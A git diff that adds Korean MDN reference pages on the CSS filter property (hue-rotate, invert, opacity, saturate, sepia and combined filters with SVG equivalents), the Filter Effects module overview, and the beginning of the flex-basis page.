+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3716/Test_Form_5.jpeg" filter="url(#grayscale)" width="276px" height="184px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_5_s.jpg" id="img4" class="internal default" src="/files/3717/Test_Form_5_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter:grayscale(100%);
+ -webkit-filter:grayscale(100%);
+ -o-filter:grayscale(100%);
+ -ms-filter:grayscale(100%);
+ filter:grayscale(100%); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('grayscale_example','100%','209px','','','no-codepen')}}</p>
+
+<h4 id="hue-rotate"><code>hue-rotate()</code></h4>
+
+<p>{{cssxref("filter-function/hue-rotate", "hue-rotate()")}} 함수는 주어진 이미지에 색조 회전을 적용합니다. <code>angle</code> 값은 입력 샘플을 조절할 색상환 각도입니다. <code>0deg</code>일 경우 이미지가 그대로 유지됩니다. 보간 시 누락 값은 <code>0</code>입니다. 최댓값이 존재하지는 않지만, <code>360deg</code> 이상의 값은 <code>0deg</code>와 <code>360deg</code> 사이를 순환합니다.</p>
+
+<pre class="brush: css notranslate">filter: hue-rotate(90deg)</pre>
+
+<div id="huerotate_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_6.jpeg" id="img1" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_6.jpg" id="img2" class="internal default" src="/files/3718/Test_Form_6.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 266 190"&gt;
+ &lt;filter id="hue-rotate"&gt;
+ &lt;feColorMatrix type="hueRotate"
+ values="90"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3718/Test_Form_6.jpeg" filter="url(#hue-rotate)" width="266px" height="190px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_6_s.jpg" id="img4" class="internal default" src="/files/3719/Test_Form_6_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter:hue-rotate(90deg);
+ -webkit-filter:hue-rotate(90deg);
+ -o-filter:hue-rotate(90deg);
+ -ms-filter:hue-rotate(90deg);
+ filter:hue-rotate(90deg); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="svgHueRotate" &gt;
+ &lt;feColorMatrix type="hueRotate" values="[angle]" /&gt;
+ &lt;filter /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('huerotate_example','100%','221px','','','no-codepen')}}</p>
+
+<h4 id="invert"><code>invert()</code></h4>
+
+<p>{{cssxref("filter-function/invert", "invert()")}} 함수는 주어진 이미지의 색을 반전합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>100%</code>일 경우 색을 정반대로 바꾸고, <code>0%</code>일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 <code>0</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: invert(100%)</pre>
+
+<div id="invert_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_7.jpeg" id="img1" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_7.jpg" id="img2" class="internal default" src="/files/3720/Test_Form_7.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 183 276"&gt;
+ &lt;filter id="invert"&gt;
+ &lt;feComponentTransfer&gt;
+ &lt;feFuncR type="table" tableValues="1 0"/&gt;
+ &lt;feFuncG type="table" tableValues="1 0"/&gt;
+ &lt;feFuncB type="table" tableValues="1 0"/&gt;
+ &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3720/Test_Form_7.jpeg" filter="url(#invert)" width="183px" height="276px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_7_s.jpg" id="img4" class="internal default" src="/files/3721/Test_Form_7_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter: invert(100%);
+ -webkit-filter: invert(100%);
+ -o-filter: invert(100%);
+ -ms-filter: invert(100%);
+ filter: invert(100%); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('invert_example','100%','407px','','','no-codepen')}}</p>
+
+<h4 id="opacity"><code>opacity()</code></h4>
+
+<p>{{cssxref("filter-function/opacity", "opacity()")}} 함수는 주어진 이미지의 불투명도를 설정합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>0%</code>일 경우 완전히 투명해지고, <code>100%</code>일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 즉 주어진 이미지 샘플을 <code>amount</code>와 곱하는 것과 같습니다. 보간 시 누락 값은 <code>1</code>입니다. 이 함수는 보다 확립된 {{cssxref("opacity")}} 속성과 비슷하지만, 일부 브라우저에서는 필터를 사용했을 때 성능 향상을 위해 하드웨어 가속을 사용한다는 차이점이 있습니다.</p>
+
+<pre class="brush: css notranslate">filter: opacity(50%)</pre>
+
+<div id="opacity_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_14.jpeg" id="img1" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_14.jpg" id="img2" class="internal default" src="/files/3725/Test_Form_14.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 276 183"&gt;
+ &lt;filter id="opacity"&gt;
+ &lt;feComponentTransfer&gt;
+ &lt;feFuncA type="table" tableValues="0 0.5"&gt;
+ &lt;/feComponentTransfer&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3725/Test_Form_14.jpeg" filter="url(#opacity)" width="276px" height="183px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_14_s.jpg" id="img4" class="internal default" src="/files/3726/Test_Form_14_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter: opacity(50%);
+ -webkit-filter: opacity(50%);
+ -o-filter: opacity(50%);
+ -ms-filter: opacity(50%);
+ filter: opacity(50%); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('opacity_example','100%','210px','','','no-codepen')}}</p>
+
+<h4 id="saturate"><code>saturate()</code></h4>
+
+<p>{{cssxref("filter-function/saturate", "saturate()")}} 함수는 주어진 이미지의 채도를 변경합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>0%</code>일 경우 완전히 무채색이 되고, <code>100%</code>일 경우 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. <code>100%</code>보다 큰 값도 허용되며, 이때는 원본보다 채도가 큰 이미지를 생성합니다. 보간 시 누락 값은 <code>1</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: saturate(200%)</pre>
+
+<div id="saturate_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_9.jpeg" id="img1" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_9.jpg" id="img2" class="internal default" src="/files/3722/Test_Form_9.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 201 239"&gt;
+ &lt;filter id="saturate"&gt;
+ &lt;feColorMatrix type="saturate"
+ values="2"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3722/Test_Form_9.jpeg" filter="url(#saturate)" width="201px" height="239px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_9_s.jpg" id="img4" class="internal default" src="/files/3724/Test_Form_9_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter: saturate(200%);
+ -webkit-filter: saturate(200%);
+ -o-filter: saturate(200%);
+ -ms-filter: saturate(200%);
+ filter: saturate(200%); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('saturate_example','100%','332px','','','no-codepen')}}</p>
+
+<h4 id="sepia"><code>sepia()</code></h4>
+
+<p>{{cssxref("filter-function/sepia", "sepia()")}} 함수는 주어진 이미지를 세피아로 변환합니다. <code>amount</code> 값이 변형 정도를 지정합니다. <code>100%</code>일 경우 완전히 세피아가 되고, <code>0%</code>에서는 이미지를 그대로 유지하며, 그 사이의 값은 효과의 선형 배수로 작용합니다. 보간 시 누락 값은 <code>0</code>입니다.</p>
+
+<pre class="brush: css notranslate">filter: sepia(100%)</pre>
+
+<div id="sepia_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_12.jpeg" id="img1" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_12.jpg" id="img2" class="internal default" src="/files/3727/Test_Form_12.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 259 194"&gt;
+ &lt;filter id="sepia"&gt;
+ &lt;feColorMatrix type="matrix"
+ values="0.393 0.769 0.189 0 0
+ 0.349 0.686 0.168 0 0
+ 0.272 0.534 0.131 0 0
+ 0 0 0 1 0"/&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3727/Test_Form_12.jpeg" filter="url(#sepia)" width="259px" height="194px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_12_s.jpg" id="img4" class="internal default" src="/files/3728/Test_Form_12_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter: sepia(100%);
+ -webkit-filter: sepia(100%);
+ -o-filter: sepia(100%);
+ -ms-filter: sepia(100%);
+ filter: sepia(100%); }
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('sepia_example','100%','229px','','','no-codepen')}}</p>
+
+<h2 id="함수_조합">함수 조합</h2>
+
+<p>원하는 만큼 함수를 조합해서 그려지는 모습을 바꿀 수 있습니다. 다음 에제는 이미지의 대비와 밝기를 동시에 높입니다.</p>
+
+<pre class="brush: css notranslate">filter: contrast(175%) brightness(103%)</pre>
+
+<div id="combination_example" style="display: none;">
+<pre class="brush: html notranslate">&lt;table class="standard-table"&gt;
+ &lt;thead&gt;
+ &lt;tr&gt;
+ &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+ &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;/thead&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_8.jpeg" id="img1" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_8.jpg" id="img2" class="internal default" src="/files/3729/Test_Form_8.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;td&gt;&lt;img alt="Test_Form_8_s.jpg" id="img4" class="internal default" src="/files/3730/Test_Form_8_s.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+ height:100%;
+}
+body {
+ font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+ color: rgb(51, 51, 51);
+ height:100%;
+ overflow:hidden;
+}
+#img2 {
+ width:100%;
+ height:auto;
+ -moz-filter: contrast(175%) brightness(103%);
+ -webkit-filter: contrast(175%) brightness(103%);
+ -o-filter: contrast(175%) brightness(103%);
+ -ms-filter: contrast(175%) brightness(103%);
+ filter: contrast(175%) brightness(103%);
+}
+table.standard-table {
+ border: 1px solid rgb(187, 187, 187);
+ border-collapse: collapse;
+ border-spacing: 0px;
+ margin: 0px 0px 1.286em;
+ width: 85%;
+ height: 100%;
+}
+table.standard-table th {
+ border: 1px solid rgb(187, 187, 187);
+ padding: 0px 5px;
+ background: none repeat scroll 0% 0% rgb(238, 238, 238);
+ text-align: left;
+ font-weight: bold;
+}
+table.standard-table td {
+ padding: 5px;
+ border: 1px solid rgb(204, 204, 204);
+ text-align: left;
+ vertical-align: top;
+ width:25%;
+ height:auto;
+}
+#img3 {
+ height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('combination_example','100%','209px','','','no-codepen')}}</p>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="필터_함수_적용하기">필터 함수 적용하기</h3>
+
+<p>미리 정의된 함수는 다음 예제처럼 사용할 수 있습니다. 각 함수 문서에서 더 자세한 내용을 살펴보세요.</p>
+
+<pre class="brush: css notranslate">.mydiv {
+ filter: grayscale(50%);
+}
+
+/* 모든 이미지를 50% 흑백 처리하고 10px 흐리게 */
+img {
+ filter: grayscale(0.5) blur(10px);
+}</pre>
+
+<h3 id="SVG_필터_적용하기">SVG 필터 적용하기</h3>
+
+<p>URL 함수와 SVG 리소스를 사용하는 방법은 다음과 같습니다.</p>
+
+<pre class="brush: css notranslate">.target {
+ filter: url(#c1);
+}
+
+.mydiv {
+ filter: url(commonfilters.xml#large-blur);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}</td>
+ <td>{{ Spec2('Filters 1.0') }}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.filter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">HTML 콘텐츠에 SVG 효과 적용하기</a></li>
+ <li>{{cssxref("mask")}} 속성</li>
+ <li><a class="internal" href="/ko/docs/Web/SVG">SVG</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/filters/understanding-css/">Understanding CSS filters</a> (HTML5Rocks! 글)</li>
+</ul>
diff --git a/files/ko/web/css/filter_effects/index.html b/files/ko/web/css/filter_effects/index.html
new file mode 100644
index 0000000000..dfd022f08e
--- /dev/null
+++ b/files/ko/web/css/filter_effects/index.html
@@ -0,0 +1,70 @@
+---
+title: Filter Effects
+slug: Web/CSS/Filter_Effects
+tags:
+ - CSS
+ - Filter Effects
+ - Guide
+ - Overview
+ - Reference
+translation_of: Web/CSS/Filter_Effects
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Filter Effects</strong>는 요소의 렌더링을 문서에 표시하기 전에 전처리하는 방법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("backdrop-filter")}}</li>
+ <li>{{cssxref("filter")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Filters 1.0', '#FilterProperty', 'filter') }}</td>
+ <td>{{ Spec2('Filters 1.0') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="backdrop-filter_속성"><code>backdrop-filter</code> 속성</h3>
+
+<div>
+
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h3 id="filter_속성"><code>filter</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.filter")}}</p>
+</div>
+</div>
diff --git a/files/ko/web/css/flex-basis/index.html b/files/ko/web/css/flex-basis/index.html
new file mode 100644
index 0000000000..6e162086ad
--- /dev/null
+++ b/files/ko/web/css/flex-basis/index.html
@@ -0,0 +1,209 @@
+---
+title: flex-basis
+slug: Web/CSS/flex-basis
+tags:
+ - CSS
+ - CSS Flexible Boxes
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/flex-basis
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>flex-basis</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 플렉스 아이템의 초기 크기를 지정합니다. {{cssxref("box-sizing")}}을 따로 지정하지 않는다면 콘텐츠 박스의 크기를 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex-basis.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>참고:</strong> <code>auto</code> 값을 가지지 않은 <code>flex-basis</code>와 {{cssxref("width")}}({{cssxref("flex-direction")}}<code>: column</code>인 경우 {{cssxref("height")}}) 값을 동시에 적용한 경우 <code>flex-basis</code>가 우선합니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'width'&gt; 지정 */
+flex-basis: 10em;
+flex-basis: 3px;
+flex-basis: auto;
+
+/* 원본 크기 키워드 */
+flex-basis: fill;
+flex-basis: max-content;
+flex-basis: min-content;
+flex-basis: fit-content;
+
+/* 플렉스 아이템 내용 크기에 따라 조절 */
+flex-basis: content;
+
+/* 전역 값 */
+flex-basis: inherit;
+flex-basis: initial;
+flex-basis: unset;
+</pre>
+
+<p><code>flex-basis</code> 속성값은 <code>content</code> 키워드를 사용하거나, <code><a href="#&lt;'width'>">&lt;'width'&gt;</a></code>를 나타내는 단위를 사용합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="&lt;'width'>" name="&lt;'width'>"><code>&lt;'width'&gt;</code></a></dt>
+ <dd>{{cssxref("&lt;length&gt;")}}, 플렉스 컨테이너의 크기에 상대적인 {{cssxref("&lt;percentage&gt;")}}, <code>auto</code> 키워드 중 하나. 음수 값은 유효하지 않습니다.</dd>
+ <dt><a id="content" name="content"><code>content</code></a></dt>
+ <dd>플렉스 아이템의 콘텐츠 크기에 따라 자동으로 크기가 변합니다.</dd>
+ <dd>
+ <div class="note"><strong>참고:</strong> <code>content</code> 키워드는 Flexible Box Layout의 첫 배포에 포함되지 않아, 일부 오래 된 구현체에서는 지원하지 않을 수 있습니다. <code>flex-basis</code>와 주 크기({{cssxref("width")}}, {{cssxref("height")}}) 속성을 동시에 <code>auto</code>로 설정하면 동일한 효과를 볼 수 있습니다.</div>
+
+ <div class="note">
+ <p id="comment_text_0"><strong>역사:</strong></p>
+
+ <ul>
+ <li>원래 <code>flex-basis: auto</code>의 뜻은 자신의 <code>width</code> 또는 <code>height</code> 속성의 값을 사용하라는 것이었습니다.</li>
+ <li>그 후 <code>flex-basis: auto</code>는 자동 크기조절로 바뀌고, 기존의 <code>auto</code>는 <code>main-size</code>로 바뀌었습니다. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>bug 1032922</a>에서 구현 기록을 볼 수 있습니다.</li>
+ <li>그러나 위의 변경점은 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1093316" title='RESOLVED FIXED - Back out flexbox "flex-basis:main-size" rename, since the CSSWG removed it from the spec'>bug 1093316</a>에서 되돌려져 <code>auto</code> 가 다시 <code>width</code> / <code>height</code> 속성을 가리키게 됐고, 대신 새로운 <code>content</code> 키워드가 자동 크기조절을 맡게 됐습니다. ({{bug("1105111")}}에서 볼 수 있습니다)</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
